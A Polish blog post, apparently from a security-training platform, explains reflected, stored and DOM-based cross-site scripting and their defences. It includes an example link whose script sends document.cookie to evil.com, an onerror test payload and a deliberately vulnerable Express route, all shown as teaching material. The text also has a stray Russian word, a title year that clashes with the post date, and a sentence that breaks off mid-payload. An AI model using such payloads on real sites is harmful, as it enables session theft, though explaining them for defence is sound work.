arrow_backWróć do field notes
WEB SECURITY Opublikowano 9 sie 2026

Cross-Site Scripting: Dlaczego XSS wciąż stanowi zagrożenie w 2024 roku

Praktyczne omówienie reflected, stored i DOM-based XSS — jak atakujący je wykorzystują i jak je skutecznie zatrzymać.

XSS находится в OWASP Top 10 przez dwie dekady i wciąż jest jedną z pierwszych rzeczy, którą sprawdza pentester. Bug jest prosty do wyjaśnienia i trudny do całkowitego zamknięcia: atakujący sprawia, że jego JavaScript uruchamia się w przeglądarce ofiary pod pochodzeniem twojej witryny. Kiedy to się stanie, mogą odczytać pliki cookie, sfałszować żądania lub po prostu przepisać stronę przed użytkownikiem.

Trzy odmiany

Reflected XSS to klasyczny atak za pomocą linku phishingowego. Strona wyszukiwania pobiera ?q= z adresu URL i drukuje go bezpośrednio do HTML bez kodowania. Wyślij komuś link taki jak https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> i jeśli kliknę go podczas logowania, ich plik cookie sesji trafia do atakującego.

Stored XSS jest gorsze, ponieważ nie wymaga żadnego linku. Pole komentarza, bio profilu, opis zgłoszenia do wsparcia — gdziekolwiek dane użytkownika są zapisywane i później renderowane dla innych użytkowników. Opublikuj payload raz, a każdy odwiedzający, który widzi tę stronę, zostaje trafiony — bez potrzeby inżynierii społecznej.

DOM-based XSS istnieje wyłącznie w kodzie po stronie klienta. Serwer nigdy nie widzi złośliwego payload'u; to JavaScript odczytujący coś takiego jak location.hash lub document.referrer i wstawiający go do innerHTML lub eval(). To mylić ludzi, ponieważ rejestrowanie po stronie serwera wygląda zupełnie czysto.

Skąd się bierze

Większość błędów XSS sprowadza się do jednego błędu: traktowanie niezaufanych danych jako zaufanego znacznika lub kodu. Typowe sink'i do obserwowania w JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout z argumentem string, i jQuery's .html(). Po stronie serwera, silniki szablonów, które nie mają domyślnego auto-escape (surowa konkatenacja string'ów do HTML) są zwykłym podejrzanym.

Szybki przykład ze świata rzeczywistego: aplikacja Node/Express robiąca

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

ma natychmiastowy reflected XSS. req.query.name idzie prosto do odpowiedzi bez żadnego kodowania. Każdy trafiający na /greet?name=<img src=x onerror=alert(document.domain)> dowodzi to w około dwie sekundy.

Naprawienie tego naprawdę

Kodowanie danych wyjściowych świadome kontekstu to rzeczywista naprawa, nie obejście. Treść HTML, atrybut HTML, string JavaScript i konteksty URL każdy potrzebuje innych reguł kodowania — biblioteka taka jak Java Encoder OWASP, lub wbudowane auto-escape w silnikach szablonów takich jak Jinja2, React JSX lub Handlebars, obsługuje to poprawnie. React w szczególności escape'uje zawartość tekstową domyślnie, dlatego dangerouslySetInnerHTML jest nazwane w taki sposób: to etykieta ostrzegawcza.

Walidacja danych wejściowych pomaga, ale nie wystarczy sama w sobie. Denylisting'owanie <script> tagów jest stale omijane — <img src=x onerror=...>, <svg onload=...>, lub obsługi zdarzeń na prawie każdym tagu wszystko działa. Allowlisting'owanie oczekiwanych formatów (regex email'a, numeryczne ID) jest w porządku jako warstwa wtórna, ale nie zastępuje właściwego kodowania danych wyjściowych.

Content-Security-Policy to najsilniejsza warstwa obrony w głęb dostępna. Polityka taka jak

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

blokuje skrypty inline i źródła skryptów stron trzecich, chyba że są wyraźnie nonce'd lub allowlisted, co zatrzymuje większość payload'ów XSS przed wykonaniem nawet jeśli przejdą kodowanie. Unikaj unsafe-inline i unsafe-eval w produkcyjnych CSP; pokonują większość ochrony.

Ustaw pliki cookie z flagami HttpOnly i Secure, aby nawet udane XSS nie mogło czytać pliku cookie sesji bezpośrednio przez document.cookie. Nie zatrzymuje to injektu, ale znacznie ogranicza promień wybuchu.

Testowanie tego samodzielnie

Aktywny skaner Burp Suite lapie wiele reflected i stored XSS automatycznie, ale testowanie manualne wciąż ma znaczenie dla przypadków DOM-based. Narzędzia takie jak własny test suite DOMPurify lub po prostu grep'owanie codebase'u na innerHTML = i eval( wychwyci zaskakującą liczbę znalezisk szybko. Do manualnej sondy, payload `

Napisane z pomocą AI, zweryfikowane i opublikowane przez Michal Pilch (CISSP), Korra Studio.

Gotowy na więcej?

To jedna notatka z bazy wiedzy Korra Studio — platforma łączy każdy temat z mentoringiem 1 na 1.

Zacznij za darmoarrow_forward